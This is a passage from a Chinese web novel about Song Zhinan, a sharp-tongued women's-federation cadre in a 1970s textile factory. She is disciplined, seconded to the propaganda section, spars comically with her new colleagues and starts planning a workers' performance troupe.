李副厂长语气愈发冷硬:“我让你发言了吗?” 宋知南平静回道:“你没让啊,我主动发言不行吗?” 杠精值加50。 宋知南一边说话一边从书包里掏出一本红色语录,然后用双手举过头顶,再轻轻地放在自己面前。 空气突然安静下来。 宋知南清声说道:“领袖教导我们:我们有批评和自我批评这个马克思列宁主义的武器。我们能够去掉不良作风,保持优良作风。 我做为一个革命青年,坚决听从领袖的教导。我要认真地做自我批评:昨天在食堂,我不该那么锐利地指出王强和李小志的问题,以至于他们难以接受被戳穿真相后的现实,吓晕在食堂,在工人中造成不太好的影响。我应该私下里告诉他们。” 李副厂长冷声问道:“你这是自我批评吗?你当真认识到自己的错误了吗?有人反应你咄咄逼人,还当场写大字报……” 宋知南反问道:“请问李厂长,你遇到一个不认识的女同志会首先想着她适不适合娶回家当媳妇吗?” 杠精值加50。 孙主任气得一拍桌子:“宋知南,请你说话注意点。” 吴厂长温声提醒道:“小孙,不要吓着小宋同志了。咱们的干部对群众无任何隐瞒,没有什么问题是不能问的。” 孙主任无言以对,只能闭嘴。 宋知南目光炯炯地看着李副厂长,其他人也一样。 李副厂长:“……”他还真想过,不止一次这么想过,但此时他怎么可能承认? 李副厂长板着脸:“我当然不可能这么想。” 宋知南看向吴厂长:“吴厂长您呢?” 吴厂长微笑:“我也不可能。” 宋知南看向在场的其他人:“在座的各位呢?” “肯定都没有。” 宋知南朗声说道:“你们所有人都不会这么想。但王强同志却这么想了。昨天在食堂,他当着众人的面告诉我,他不喜欢我这样的女同志,绝不会娶我这样的姑娘当媳妇。 我就请问,哪个正经的男人会这么想?一个男人见着不认识的异性不先想她的阶级性和革命性,却先想她适不适合娶来当媳妇。 这说明什么?说明王强同志的思想出了很大的问题,他的思想里不但有封建主义的毒瘤还有资本主义的污渍。这就叫思想上耍流氓。” 孙主任提醒宋知南:“咱们的法律上并没有这个罪名。” 胡明亮附和道:“是没有。” 宋知南敲敲桌子:“同志们,现在情况不一样了。以前是以前,现在是现在。革命新时代,谁思想不新就要被淘汰。 我们无产阶级就是要防患于未然,深挖思想上的根。思想歪了,一切都完了。西方资本主义国家为啥那么腐朽堕落?就是因为他们很多男青年思想上先堕落了。一个个不革命不上进,天天沉迷毒品和黄色。 为了防止他们的思想入侵,我们更要紧抓大家思想上的问题。阶级斗争要年年讲,月月讲,日日讲,一刻也不能放松。你们说我说得对不对?” 这样政治正确的事,谁敢说不对? 宋知南接着说:“我提议,咱们要对王强李小志进行思想审判,为其他男同志敲响警钟,警钟为谁而鸣?就为他们而鸣。” 会议室里一片安静。 宋知南看看大家,这群同事不太行啊,她自己给自己先鼓起了掌。 李群英也跟着鼓起了掌,其他人就那么看着她俩鼓掌。 李群英有些尴尬,一看宋知南做为当事人平静从容,她突然又不尴尬了。 宋知南在会上说痛快了,但也付出了代价。她给李副厂长和一部分领导留下了深刻的印象(负面的)。 大家私下里议论,这将对宋知南的前途产生不可估量的影响。本来她发现宝藏的事让厂里扬了名,现在好了,这事一出,又把她的功劳抵消了一半。 李群英此时是矛盾的,她既为宋知南的输出感到爽快,又担心她的前途。若是宋知南只甘心当一个妇联干事那就没问题,可是她很有上进心,这以后可怎么办? 李群英心里发愁,宋知南依旧笑嘻嘻的,遇事还是不往心里搁,该吃吃该喝喝。 得罪领导?这对她来说又不是什么稀奇事。虽然这个年代没办法跳槽,但那又怎样?领导也没办法随便开除她。再说了,她在纺织厂只是个过客,也没法长留,更不可能干一辈子。既然如此,还有什么好担心的? 宋知南的处置很快就下来了,李副厂长让她写一份3千字的检讨,用他的话说,她不是挺能写吗?就让她好好写。 至于王强和李小志,李副厂长也就是象征性的批评教育几句就完事儿。 这么明显的区别对待,大家都能看出来,李副厂长是在故意为难宋知南。 光写检查还不够,李副厂长还说宋知南在妇联办公室受到的投诉太多,不利于开展工作,直接把她借调到宣传科去学习学习。 借调者的地位一向是尴尬的,除非是借调到上级部门,有希望留下来还算是好事。像宋知南这种借调,根本不属于这一类。 她不属于宣传科,那里的职工肯定会排挤她。别人不愿干的活都会推给她。但是好处跟她无关。因为她的人事关系还在工会妇联,领福利也是回原部门。 原来的领导同事也对对她不满,因为她占着一个编制却又不干活。 宋知南随手写了两封举报信塞到市革委会,再写一封塞到吴厂长办公室里,举报李副厂长贪污受贿,任人唯亲,他还跟霍峥嵘有牵扯。 宋知南同时还不忘散播王强和李小志的流言,说王强被很多男人要过,他特别喜欢霍峥嵘,所以霍峥嵘一出事,他就疯狂了。谁跟王强走得近,谁就跟他有一腿。李小志则是男女通吃,既喜欢霍峥嵘又喜欢江茶。 纺织厂的工人们一下子吃到这么荤的瓜,一时间都有些不知该先传哪个好了。午休时,工人们一个双眼放光,眉飞色舞,手舞足蹈。 “真的假的?王强那小子喜欢男人?” “应该是真的,无风不起浪。” “李小志男女通吃?这小子玩得挺花呀。” “这很正常,这种人古代就有,听说是祖上遗传下来的。” “那他爸他爷岂不是也……” “既然他们有特殊爱好,咱们也不能跟他走得太近了,到时传出点什么,多恶心人。” 要是跟一个女同志传点流言,他们倒不怕,反而还觉得占了便宜。但是要跟男的传出流言,别人都会有色眼镜看他们,那就不好了。 流言朝着大家意想不到的方向一路狂奔。两人现在都傻眼了,他们只是替霍峥嵘和江茶打抱不平而已,只是为难一下宋知南而已,谁能预料到事情朝着不可控制的方向发展?他们现在黄泥是掉进粪坑里,怎么洗也洗不干净。 两人都试图去辟谣,可是造谣一张嘴,辟谣跑断腿。关键是即使跑断腿也没用。现在不但王强和李小志本人深受流言困扰,还波及到了自己的家人。两家人都在纺织厂抬不起头来。 虽然没有当场抓住宋知南,但两家人都知道这事跟宋知南脱不了干系。 他们也想造谣毁掉宋知南,毁掉一个女生最快的方法是什么?是造黄谣。他们造了,但没成功。因为前面已经有人替宋知南宣传过了,宋知南没有男人要,很多男人抵制她。有了前面那个流言压着,再造黄谣就造不动。 其实,光是没男人要一个流言也足以从心理层面毁掉一个女孩,但宋知南不是一般人。 谁越说她没男人要,她就越高兴,不以为耻,反以为荣。这样的人你能拿她怎么办呢? 王强的爷爷一筹莫展,气得甩了王强一个巴掌:“你是猪脑子吧?你跟宋知南无冤无仇,你说你惹她干吗?霍峥嵘和江茶让你俩替他们出气,你俩就去出?你俩咋不开动猪脑子想想,霍峥嵘和江茶不比你们聪明厉害,还不是一败涂地?这两人就是个大祸害,临走还不忘坑人一把。你们以后跟他们断交。” 事到如今,两家人也没别的办法,只能悄悄找人换工作。王强和李小志很快就跟郊区一个小纺织厂的人换了工作。交接完毕,两人悄悄地离开了,不敢惊动一片云彩。 得知王强和李小志败退到郊区小厂,宋知南松了一口气。两人调换工作,她被借调,她还有光明的未来,但那两人没有。以后见着他们再接着打。 宋知南收拾东西,跟何黛告别,何黛比宋知南难过多了,她愤怒且不解地问道:“是王强和李小志找你的茬,李厂长对他们两个轻轻放过,又让你写检讨还把你借调走,凭什么呀?” 宋知南反过来安慰她:“没事,我很快就会回来的。我去宣传科溜达溜达,顺便学习一下。这段时间就辛苦你了,工作的重担全部压在你跟贺主任身上了。” 何黛摇头:“这算个什么,我就是舍不得你走。” 两人在工作上配合默契,宋知南为人大方豪爽,有好吃的就跟她分享,两人既是工作搭子又是饭搭子还是八卦搭子。现在宋知南一离开,何黛觉得生活索然无味。 宋知南正跟何黛说话,贺主任叫她去隔壁小公室里,宋知南说声:“我去看看。” 宋知南进了小办公室,贺主任唉声叹气:“你说这事弄的。杨主任为你争取了,但没用。小宋,你就去宣传科呆一阵,以后再说。” 宋知南换上一副表情:“贺主任,你跟杨主任可别忘了我,我可是你们手下的兵。” 贺主任本来有点伤感,一听这话,忍不住笑了:“你放心,我们忘了谁也忘不了你。” 宋知南说:“那就好。贺主任,我就盼着你们二位能高升,我背靠大树好乘凉。我反省了好几天,得出一个结论。” “哦,你得出什么结论了?” 宋知南正色道:“归根结底,还是我们女同志没有占据关键的领导位置,我们纺织厂明明女职工居多,但女领导却只有你们几位,你们就算想为我说话,也是寡不敌众,胳膊拧不过大腿。所以,为了我们全体女工,为了保卫我们的半边天,你和杨主任一定要努力升职。” 贺主任:“……” 真是长了见识,见过领导鼓励下属努力工作的,今天是第一次见下属鼓励领导好好升职的。 宋知南:嗐,这都是小意思。她不仅仅会整治领导,她还会激励领导。 别人鸡娃鸡伴侣,她不一样,她鸡爸妈和领导。父母发财她就是富二代,领导升了她也跟着升。 要是都扶不起来,那也能让他们尝一尝奋斗的苦,省得他们回头总说你没走上人生巅峰都怪你不努力。只有努力过的人才知道努力不是万能的。 人生实苦,凭什么让她一个人苦?大家一起苦不好吗? 第78章 宋知南激励完领导, 麻溜地收拾好东西,在何黛依依不舍的目光中抱着东西离开了妇联办公室。 临走前, 她回头看了一眼办公室,发出了像灰太狼一样的誓言:我一定会再回来的,姓李的你给我等着。 接下来,宋知南的任务有两个:在宣传科继续浪,顺便搜集李副厂长的黑料。都什么玩意儿,扳倒一个是一个。 与此同时,吴明珠听说厂里对宋知南的处分后,回家找父亲争辩:“爸,我听说宋知南挨批评了,还借调到宣传科了,你怎么不替她说句话?” 吴厂长慢声说道:“小宋确实在厂里造成了一些不太好的影响, 老李的借调又有理有据, 我替她说过话, 但老李坚持这么做。你知道的,他这个人跟我一向不对付, 要是连这种小事, 我都要坚持驳他的面子,以后我们还怎么共事?何况还是这种关键时刻,咱们先得稳住他,这是为大局着想,我相信小宋能过得了这关,她是个聪明能干的姑娘。” 吴明珠不满地嚷道:“大局大局,整天就是大局。我要是厂长, 我先把姓李的给弄下去,整天正事不干, 就知道兴风作浪。” 吴厂长叹息了一声,语重心长地说:“明珠啊,爸不能护你一辈子,你的性子也要收敛收敛。” 吴明珠傲然道:“我就不收敛,我看这些人能奈我何。” 说完,她冷着脸离开了。 宣传科办公室。 何科长慢条斯理地宣布道:“大家停下手里的活,听我说两句。这不快到年底了吗?咱们科人手不够,领导体恤咱们,就给咱们借调来一个帮手,这个小同志可了不得,文笔特别好,她叫宋知南,原来是妇联办公室的,想必大家都听说过吧?” 宣传科的各位科员反应各异。 反应最大的是李群英,听到宋知南来跟她当同事,她先是一喜,接着又觉得不对劲。 借调,那就是说宋知南不属于宣传科,但还得干他们科里的活,以办公室这帮人的德性,肯定会把不好干的活推给她,还会排挤她。 宣传科一共四个科员,两男两女。女同志是白红梅和李群英,白红梅喜欢拿李群英大龄不婚嘲讽她,还喜欢攻击李群英的长相,两人一直不对付。 男的是钱解放和周有光,这两人嘴欠鸡贼,跟白红梅有时争斗不休,有时沆瀣一气。 何科长话一说完,大家就开始小声议论起来。 白红梅以前跟江茶关系不错,她虽没有跟宋知南共过事,但早就知道,她这个人有多差劲。 她最先发言:“这个宋知南就是那个妇联朝天椒,咱们科要热闹了。” 白红梅的话音刚落,满脸油光的周有光立即插话:“人家还叫工会独头蒜,你们听听这称号,吓死人了。” 坐周有光旁边的是钱解放,他也附和道:“三个女人一台戏,这下好了,咱们科里可以搭台唱戏了。” 大家正讨论得热烈,他们嘴里的主角宋知南已经抱着东西一阵旋风似地进来了。 何科长和气地说道:“宋同志,我是宣传科科长何长明,欢迎你来我们科。” 李群英站起来去接过宋知南手里的东西,放在自己的办公室桌上。 何科长笑吟吟地看着两人,问道:“小宋你跟小李是邻居是吧?” 宋知南点头:“是的,我们是邻居。” 其他人都目光炯炯地盯着宋知南。 何科长挨个给宋知南介绍一下,撂下一句话离开了:“小李,你带着小宋熟悉熟悉情况,我还有事要忙。” 何科长一走,办公室里一下子活跃起来了。 白红梅刚才还在说宋知南的风凉话,现在见了本人,立即换上一幅面孔,热情地跟宋知南打招呼:“宋同志,我在报纸上看过你的文章,我说句说实话,你的文采能甩我们两条街,你一来,我们再也不用愁写文章的事了。” 这是故意给她戴高帽呢。 宋知南笑着回应:“白同志,瞧你说的,我听人说,你才是你们办公室有名的笔杆子,听说还是办公室一枝花。” 白红梅嘴里谦虚:“哎呀,哪里哪里。” 她打量了一眼宋知南,这姑娘长得不错,不过到底年纪太小,还没彻底长开呢。而且就冲她这个名声,正常的男人都会敬而远之。所以,她不担心自己的地位受到威胁。但江茶说宋知南的妒忌心特别强,破坏力也强,以后,她还是得小心。 宋知南大大方方地打量众人一眼,谦虚地说:“各位,以后咱们就是一个办公室的同事了,我这人很好相处,希望我们相处愉快。”如果处不好,肯定是你们的问题。 钱解放和周有光两人挤眉弄眼。 年纪大点的周有光先开口,“小宋同志,你虽然被妇联赶出来了,但也别太伤心,我们宣传科也挺好的,我们以后会照顾你的。” 宋知南纠正周有光的话:“周同志,你用词不当,什么叫赶出来?这叫轮岗你懂不懂?” 钱解放在旁边附和道:“哎呀宋同志,不要那么咬文嚼字嘛。” 宋知南:“领袖说过,工作容不得半点马虎。我们宣传科是厂里的笔杆子,咬文嚼字是我们的任务。” 杠精值加10。 两人无言以对。不愧是宋知南,一上来就开枪扫射,都不带蛰伏一下的。 宋知南心说,这才哪儿跟哪儿,她第一天上班,肯定是要收敛的。 李群英赶紧起身招呼宋知南:“知南,你坐在我对面吧,你过来把桌子收拾一下。” 宋知南走过去坐在李群英对面。李群英拿起竹壳暖水瓶给她倒了杯温水,宋知南接过来喝了半杯润喉。 两人说话不方便,李群英又忍不到下班,于是便给她写了一张纸条:“到新地方先观察两天,我担心你融入不进我们科。” 宋知南刷刷在纸条上回复道:“我不是溶剂,我不爱溶于谁。我不是来融入他们的,我是来引导他们的。” 李群英接到纸条,突然沉默了。她用怜悯而又得意的目光看了一眼其他三人:“你们等着吧。” 中午下班,李群英迫不及待地拉着宋知南去食堂吃饭。 “怎么事先也没透漏出口风,你突然就借调到我们科了?” 宋知南:“我接到通知也是一脸懵,没事,既来之则安之。” 李群英抓紧时间给宋知南介绍办公室政治:“我们科长这人怎么说呢,是个老滑头,为人十分圆滑,他不爱得罪领导,甚至连手下的职工都不愿得罪。当然啦,也没什么本事。另外三人,白红梅事多爱攀比爱说怪话,周有光油腻嘴贱,钱解放眼高手低,嘴欠。他们三人平常孤立我,但我也无所谓。” 宋知南拍拍李群英的肩膀:“没关系,我来了,咱俩自成一国。我们两个人就是一支队伍,顶上千军万马。” 然而,这支队伍刚进食堂就跟其他队伍相撞了,那人的饭盒里的菜汤洒了宋知南一身,对方一脸惶恐连声道歉,宋知南也只能作罢。 李群英看着宋知南的衣服说:“这样吧,你把饭盒给我,我排队去打饭,你赶紧回家换身衣裳再回办公室吃饭。” “行,也只能这样了。” 宋知南飞快地跑回家,换了身红色的灯芯绒外套。 她回办公室跟李群英一起吃饭。 两人刚吃完饭,钱解放周有光他们三人也陆续回来了。 周有光一眼就看出宋知南换衣裳了,他的嘴角扬起一丝笑意,意味深长地说:“哎呀小宋,一天换两次衣裳,你打扮这么好看是为了给我们看吧?” 周有光一边说话一边跟钱解放挤眉弄眼,两人脸上流露出心照不宣的笑容。 白红梅在一旁看热闹。 李群英直皱眉,赶紧说:“知南的衣裳洒上了菜汤,什么叫换给你们的看?” 宋知南用眼神安抚李群英,她对着周有光冷笑一声:“周有光,你怎么跟狗似的,总觉得人上厕所就是为了给你做饭,其实人家上厕所只是生理需要;同样的,人家女生打扮也是一种需要,而不是为你打扮?真是马不知脸长,人不知自丑。我这么说你明白了吗?” 杠精值加5。 周有光脸上挂不住,生硬地说:“宋同志,我只是跟你开个玩笑而已,你至于吗?” 宋知南微笑:“周同志,瞧你说的,难道我不是在跟你开玩笑?不会吧,你这就生气了?你的心眼不会那么小吧?我的天呐,如果你心眼真这么小,我以后可不敢跟你说话了。” 杠精值再加5。 周有光气得一口气憋在心里,吐不出,又咽不下去。 钱解放赶紧替周有光说话:“小宋,老周真的是跟你开玩笑,可是你开玩笑的尺度未免太大了,又是狗又是厕所的。女孩子这么说不雅观吧?” 宋知南:“你这么雅观,那你一定不上厕所喽。你的肠子直接连着嘴往外喷吗?哎呀妈呀,你真是个医学奇迹。” 杠精值加5。 钱解放气得一时接不上话来。 宋知南面带微笑:“钱同志,你别生气,我就是跟你开个玩笑。你不会也跟周同志一样小心眼吧?你们是小心眼帮助小心眼,是小心眼互助联盟,也可以简称两小联盟。” 杠精值加10。 宋知南说到这里,面带笑容环视一下三人,说道:“我上午就说过,我这人很好相处的,幽默风趣,爱说爱笑,如果跟我处不好,那肯定是你们的问题。” 第79章 周有光和钱解放面面相觑, 无言以对。 白红梅看两个盟友都败了,赶紧出嘴相助:“小宋, 你说话不要这么咄咄逼人嘛,女孩子还是要温柔和气一些才好。” 宋知南对白红梅也不客气:“白同志,我可不像你,对女同志重拳出击,只对男同志温柔和气,不知道的还以为你喜欢他们俩呢。” 杠精值加5。 白红梅急忙辩解:“你别胡说八道,我已经结婚了,怎么可能喜欢他们俩?” 宋知南微微一笑:“你不要这么咄咄逼人嘛,我只是开个玩笑而已,你能不能也对我温柔和气一些?” 杠精值加5。 白红梅气咻咻地说:“行行,我不多嘴了。你要是不改改你的脾气, 以后我们连话都不敢跟你说。” 一般人听到这句话真会着急。 谁知宋知南却一脸兴奋:“你们从此不跟我说话?真的吗?那咱们就从今天下午开始, 我们来玩一个沉默游戏, 谁也不准说话,谁先开口谁是狗。” 白红梅钱解放三人:“?!” 宋知南满面春风地回到座位上, 玩游戏什么的, 她最喜欢了。生活如此枯燥无味,就得自己找乐趣。 宋知南给李群英传纸条:“今天下午不说话,咱们笔谈,憋死他们。” 李群英很快就回了她一张纸条:“你一来就为百姓出气,我叫你一声宋青天。” 这一下午,钱解放三人快憋死了。 有时候,他们实在憋不住了, 刚想开口说话,宋知南就写了一行大字在他们面前晃:“谁说话谁是狗。” 三人以目示意, 他们怎么就招惹了这么一个瘟神? 宣传科办公室是前所未有的安静,安静到整间办公室里只能听见翻阅报纸和喝茶的声音。 好容易熬到下班,宋知南和李群英到点就离开。 她们两人一走,剩下的三人组迫不及待地说起话来。 “这个姓宋的有毛病吧?就没见过这样的。” “怎么就把她借调到咱们科了?咱们科招谁惹谁了?她可赶快滚回去吧。” “对对,希望她赶紧走。” 这三人满脸挫败,愤愤不平。 李群英却是满脸春风,脚步轻快。今天是真高兴呀。 …… 宋知南“借调”到宣传科的消息经过一天的发酵,全厂都知道了。 消息一经传开,有人拍手称好,也有人觉得便宜了宋知南,宣传科也是个好地方,凭什么要借调她去? 还有不少女工忧心忡忡,好容易遇到一个不和稀泥的妇联干事,怎么又给调走了?人家小宋兢兢业业、认认真真地工作,到底招谁惹谁了? 有不少女工来安慰宋知南:“宋同志,你不要难过,我们大家都支持你。” 宋知南一脸感动:“有你们的支持,再大的难关我也能闯过。” 少部分男同志也派了代表前来慰问,这代表就是保卫科的赵大刚,赵大刚一上来就跟某些男同志划清界线,“宋同志,咱们厂还是有明白人的,某些男同志的心眼忒小了,我们都看不上。” 宋知南叹气:“你说同样都是男同志,差距咋就那么大呢?他们总说我对他们有偏见,其实我不是对全体男同志有偏见,我只是对他们极个别人有偏见。他们那些人,工作生活上不见得多聪明,一到这事上,人家突然变聪明了,还知道拉着别人下水了,硬把我推到你们全体男同志的对立面。我比窦娥还冤啊。我的用心良苦谁人能懂?” 赵大刚忙说:“我们能懂的,你骂他们那是为了他们好。” 赵大刚接着说:“对了宋同志,有人托我问你,你之前那个‘感动青阳照耀红星’系列还做不做了?大家伙都盼着你能出第二期呢?” 自从他上了报纸之后,不少人也开始蠢蠢欲动。他们觉得赵大刚张铁山都行,为什么他们不行? 他们盼星星盼月亮,最后什么也没盼到,只能托赵大刚主动询问。 宋知南立即懂了赵大刚话里的弦外之音。 她不动声色道:“不瞒你说,我其实是打算一直做下去的。可是这事一出,我是心寒呐。赵同志你还好,没遇到太多非议。张铁山同志那篇文章,有人对我不满,说我提倡男人当上门女婿不对。赵同志你说我冤不冤,上门女婿从秦汉时就有了,是我提倡了才有的吗?我不提倡以后就没有了吗?我写这篇文章的初衷其实是为了这些上门女婿好,让人民群众看到上门女婿的辛苦不易和孝顺善良。结果人家倒好,硬是曲解我的好意。” 赵大刚一听也挺愤慨:“这群人是吃饱了撑的。他们不用当上门女婿,可是有人愿意当啊。当上门女婿也总比打光棍好吧?你提倡了又怎样?你又没强迫他们当上门女婿。” 宋知南说:“还是赵同志明事理,要不白欣同志怎么会挑中你呢。” 一提到自己媳妇,赵大刚忍不住嘿嘿一笑。 宋知南正色道:“赵同志,其实我心里是愿意继续做这个系列采访的,就是典型人物不好找,像你们二位,我是挑了好久才找到的。” 赵大刚忍不住挺起胸脯,油然而生一股自豪感。 赵大刚自豪完毕,顺水推舟地说:“宋同志,你要是找不到典型人物,我给你推荐两个怎么样?” 宋知南眼睛一亮:“那太好了。你等下。” 宋知南说着从书包里掏出铅笔和笔记本。 “第一个叫江东征,他虽然不是上门女婿,但也是个好女婿,自从大舅子去世后,他像儿子一样照顾岳父岳母,大家经常夸他。” 宋知南热烈称赞:“太好了,题目名字我都想好了,就叫《谁说女婿不如儿》。” 赵大刚见宋知南非常满意自己的推荐,心里十分高兴,接着说:“第二个人也很值得写,他收养了战友的遗孤,视如已出。” 宋知南刷刷写一下题目:《大爱无声:不是血亲胜似血亲》。 宋知南记下两个的地址,打算抽时间去采访一下。 宋知南行动力非常迅速,第二天下班就去采访江东征。由于赵大刚的引荐,江东征对宋知南十分热情,积极配合她的采访。 采访顺利地结束后,宋知南跟江东征握手告别:“谢谢你江同志,文章写好后,我会拿给你过目。” 江东征豪爽地说:“我文化水平不高,也看不出啥来,你觉得行就行。你是老赵推荐的人,我相信你。” 第二个采访对象叫刘长征,以前当过兵,复员后分到纺织厂。他自己没孩子,领养了两个战友的遗孤。 采访完毕,宋知南在办公室里写稿。李群英看宋知南在写作,她也一起写。 白红梅钱解放周有光三人见这两人在用功,又开始挤眉弄眼低声说小话。 “瞧人家在用功呢。” “哟,人家跟咱们不一样。” 三人也不敢大声,就跟阴沟里的耗子似的,吱吱叫着。 宋知南一进入心流状态就会自动忽略身边的声音,李群英本来能听见他们的说话声,一看宋知南这么专注,不由得也跟着专注起来。 两人一起进入专注状态,完全忽略了周围的杂音。 等到宋知南把两篇采访稿整理完毕,两个小时已经过去了。 她起来伸伸懒腰,活动活动身体,顺便喝口水。 李群英也跟她一起起来,两人相视一笑。 钱解放白红梅三人一直在盯着两人,见状忍不住直撇嘴,这两人还挺有默契。 吃完中午,两人沿着厂区溜达20分钟,回来休息一会儿,开始上班。 宋知南和李群英交换稿子,互相提修改意见。 宋知南给李群英修改了两个病句,李群英也给宋知南指出一个常识性的小错误。 两人拿回自己的稿子继续润色修改,赶在下班前誊写工整,星期六下午就可以去邮局寄出去。 李群英这几天过得无比充实,每天看报纸写文章,写累了就做摘记和剪报。这个也是跟宋知南学的。她说她在积攒写作资料,反正办公室的活很少,闲着也是闲着,不能白白浪费时间。 钱解放周起光白红梅三人闲极无聊,看着李群英和宋知南整天忙忙碌碌都觉得好奇,有心上前打探几句,宋知南又太难惹,李群英也是油盐不进。三人只能围观加背后说闲话。 李群英以前也会被三人困扰,自从宋知南来了之后,她也无所谓了。看开了看透了。忙自己的事,让别人去说吧。对方敢到她面前说,她就怼回去。 李群英跟宋知南的友情还在升温,两人一起去食堂吃饭,一起写稿改稿投稿,甚至还约好,等发了稿费,一起下馆子。 中午,两人一起说说笑笑去食堂打饭,突然听到有人喊道:“知南。” 宋知南回头一看是何黛,何黛用幽怨的眼神看着宋知南和李群英,这才几天,宋知南又找到新的饭搭子和工作搭子了? 宋知南热情地拉着何黛寒暄:“阿黛,最近怎么样啊?有没有想我呀?” 何黛酸溜溜地说:“我想你有什么用,你肯定忘了我吧?” 宋知南笑着说:“怎么会呢?我忘了谁也忘不了你。” 三人一边说话一边去打饭。 办公室里只有何黛一个人,她打了饭就端回去吃。 宋知南和李群英也嫌食堂太闹,一般也端回办公室吃。 路上,李群英笑着说:“小何在妒忌我,哈哈。” 宋知南无奈地说:“嗐,人太受欢迎也挺苦恼。” “瞧把你美的。” 李群英叹了口气:“你终究还是会回到小何身边的,我只是你的一个过客而已。”宋知南是借调到他们办公室的,呆不了多久就得回去,真舍不得呀。 两人吃完中饭,趴在办公桌上小憩一会儿,很快就到了上班时间。 何科长来了,他一进来就说开门见山地说:“同志们,都精神起来,来活了。” 大家一听来活了,赶紧打起精神来。 何科长清清嗓子接着说:“厂委和工会讨论后决定,由咱们宣传科牵头成立一个纺织厂业余文工队,用来丰富工人们的精神生活。大家集思广益,畅所欲言。” 钱解放和周有光对视一眼,异口同声:“我们推荐宋知南和李群英同志。” 白红梅及时出声附和,三人悄悄对视一眼,这两人不是能吗?这个出力不讨好的活正好推给她们俩。 何科长岂能看不出他们之间的暗潮涌动?不过,他要的是只是表面的和谐,至于私底下如何,他管不了,也懒得管。 何科长假装什么也看不出来,面带笑容地看着李群英和宋知南,“小宋小李,他们三个一致推荐你们,你们俩是什么想法?” 李群英看着宋知南,冲她悄悄做了个手式,表示自己听她的安排。 宋知南朝她一笑,朗声说道:“何科长,他们三位一起推荐我,说明他们对我俩的工作能力非常认可。这活我们接了。” 何科长对宋知南的态度还算满意,年轻人就是好,肯干活,不管是夸也好,激将也好,哐哐干活,比那些老油条强多了。 他的态度十分和煦:“小宋小李,你们这几天多想想节目的事,有什么需要就给我说,能帮的我会尽量帮。” 宋知南笑着说:“刚好我手上积攒了一批节目,择日不如撞日,不如我们今天就聊聊节目的事。” 何科长一脸诧异。 周有光和钱解放三人也是一脸的不可思议,周有光脱口而出:“宋知南,你就吹牛吧?” 李群英不满地白了周有光一眼:“周同志,你能不能让人把话说完?” 周有光讪讪一笑。 何科长很感兴趣地问道:“小宋,你说说都有些什么节目?” 宋知南说道:“一个以我亲哥为原型:《警钟长鸣:一剪没》;两个是我写的文章改编的《上门女婿就是好》和《父爱如山》,还有几个以妇联调解为题材的《荒唐的婚闹》《妇联门口》《乡下媳妇城里郎》、《宋知南说快板》。” 宋知南报完节目,赶紧抓紧时间宣传一下自己,宣传科不就是宣传自己吗?她宣传一下怎么了? “何科长,厂领导之所以把我借调到你们宣传科,其用意就在此于。他们早就想组建业余文工队了,就提前把我调过来帮忙。我是革命一块砖,哪里需要就往哪里搬;我是人们的及时雨,哪里需要就往哪里淋。” 第80章 瞧着宋知南那气定神闲、从容笃定的模样, 何科长有一瞬间的恍惚,难道厂里把她借调到宣传科真的是另有用意?而不是李副厂长故意整他? 难道他真的领会错了领导的用意?罢了罢了, 这里面的事情太复杂了,不是他一个小小的科长能想明白的。 他现在只想当好他的科长。 不但何科长迟疑恍惚,周有光钱解放三人也有点迷糊了。咋就那么巧呢,宋知南一来宣传科,厂里就成立文工队了?难道说传言有误?是不是吴厂长在有意锻炼宋知南?到底是咋回事啊,上面的人就不能把话说清楚吗? 罢了罢了,不管怎样,反正这个宋知南就是很可恶,先按照原来的计划,杀一杀她的威风再说。他们要让她知道,什么叫强龙不压地头蛇。 宋知南这一通操作, 让李群英不禁暗暗佩服, 又学习了一招, 做人就得敢说敢吹,别的不说, 先在气势上就赢了。没看何科长都恍惚了吗? 朋友交得好, 必定学习好。现成的老师手把手教你,能学不好吗? 何科长继续把注意力拉回到节目上,这些节目光听名字就很有看头。宋知南不愧是宋知南,虽然人难管,但人家是真有才华。 何科长点头:“这些节目光听名字就挺不错。” 这时候,周有光开口了:“宋同志,你连自己亲哥的事都能拿出来编节目, 这样好吗?” 钱解放附和道:“我也觉得不太好。” 宋知南瞥了两人一眼:“你们两个的格局太小了,想得太浅了。我跟你们不一样, 我一片公心为人民,不像你们充满私心。看在同事的份上,我给你们两个一句忠告:人蠢心眼小,啥都干不好。” 两人:“……”谁当她哥哥谁倒霉。 杠精值加10。 白红梅也说:“小宋,大家提意见是为了你好,你不要那么抗拒嘛。对了,大家对你提倡上门女婿这事也是褒贬不一,你要不你换个节目?” 宋知南淡声说道:“白同志,你是上门媳妇,上门女婿好不好你怎么知道?” 白红梅一脸诧异:“你说啥?上门媳妇,我活这么大还没听说过这个词。” 宋知南浅笑:“这很正常,你天天不上进不学习,不读书不看报,你能听说过什么?” 白红梅:“……” 杠精值加5。 周有光说:“行行,你充满公心,我们都是私心。我算看出来了,宋同志听不进去任何意见,我们算是长教训了,以后再也不提了。科长,这样的节目我们帮不上什么忙,让她俩去弄吧。” 三人决定撂挑子不干了,他们就看李群英和宋知南两个光杆司令能干出什么名堂来。 何科长严肃地说:“你们争论归争论,可成立文工队是咱们宣传科的大事,也是大家的事,你们必须得积极配合小李和小宋。” 宋知南大度地说:“科长,既然他们不愿意,咱也不勉强。咱们纺织厂人才济济,离了谁都能行。大海里少它三瓢水,一点都不影响大局。” 何科长:“……” 三人气得眼睛都瞪圆了,钱解放和白红梅刚要反驳,周有光用目光制止了两人。 何科长无奈地说:“你们先商量商量吧,小宋你好好准备节目。”说完,他进了里面的小办公室。 何科长一走,白红梅和周有光两人悄声问周有光:“老周,刚才为啥不让我们说话?” 周有光小声说:“啥都不用说,咱们骑驴看帐本,走着瞧。” 开什么玩笑,纺织厂再人才济济,人家也不听她俩调动呀。宋知南以为她自己是谁?她又不是厂长的闺女。到最后还不是得回来求他们三个帮忙? 这边,李群英跟宋知南挤在一起商量节目的事。 李群英小声说:“他们三个不配合,就咱俩能行吗?” 宋知南不屑地说:“嘁,离了张屠夫,咱还得吃带毛猪?他们不干有的是人干。” 李群英气呼呼地说:“这仨人就知道拖后腿,气死我了。 宋知南安慰道:“莫生气,跟畜生生气没必要。” “接下来怎么办?” “我来办。” 宋知南打着准备节目的旗号,跟何科长打了个招呼,说要出门自由活动。何科长自然同意。 宋知南和李群英先去广播站串门找吴明珠,她一来,吴明珠就告诉她,江茶离开后,广播站有了一个空缺,现在很多人都盯着,但她已经放出话去,说要考试,要求形象、声音、文化水平都得过关。她建议宋知夏可以着手准备了,过完年就要考试,到时她可不会放水。 宋知南很有信心:“我姐不笨,她应该能通过考试。对了,我今天来跟你俩商量另外一件事。” 